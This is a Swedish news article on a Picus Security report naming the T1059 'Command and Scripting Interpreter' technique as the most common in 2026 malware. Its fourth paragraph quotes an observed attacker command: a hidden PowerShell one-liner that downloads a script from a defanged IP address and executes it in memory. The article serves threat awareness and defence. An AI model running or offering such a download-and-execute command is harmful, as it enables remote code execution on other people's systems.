Picus Security: Kommando- och skripttolk vanligaste attacktekniken
Picus Security har släppt en analys som belyser betydelsen av T1059 "Command and Scripting Interpreter"-tekniken i cyberattacker. Tekniken förekom i 27 procent av de analyserade skadliga programmen under 2026.
Cybersäkerhetsföretaget Picus Security har analyserat och rapporterat om de vanligaste attackteknikerna som används av hotaktörer. Enligt företagets"{inline-style-removed}The Red Report 2026"{inline-style-added} analyser, visade sig tekniken T1059 "Command and Scripting Interpreter" vara den mest framträdande under 2026, och förekom i 27 procent av nästan 1,1 miljoner analyserade skadliga programvaruprover.
Denna teknik tillåter angripare att exekvera skadlig kod och skript på målsystem genom att utnyttja inbyggda kommandon och skriptmotorer som PowerShell och Bash. Picus Security anger att detta ofta används i "Initial Access"-fasen för att ladda ner skadlig kod eller utföra "living-off-the-land" (LOLBins)-attacker som maskeras som normala systemoperationer.
I rapporten beskrivs exempel där angripare använt PowerShell-kommandon för att ladda ner och köra skadliga skript direkt i minnet. Ett observerat kommando var "powershell.exe -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('hxxp://185[.]73[.]125[.]8:80/a67'))"". Detta kommando exekverar ett skript nedladdat via nätverket diskret, vilket minskar risken för upptäckt.
Analysen belyser även hur T1059-tekniken används i "Execution" och "Persistence"-faserna. Till exempel, i macOS-miljöer har angripare använt AppleScript för att installera skadlig kod och säkerställa dess persistens i systemet genom att kringgå skydd. Tekniken understryker behovet av att övervaka och begränsa användningen av skripttolkar samt att stärka endpoint-skyddet.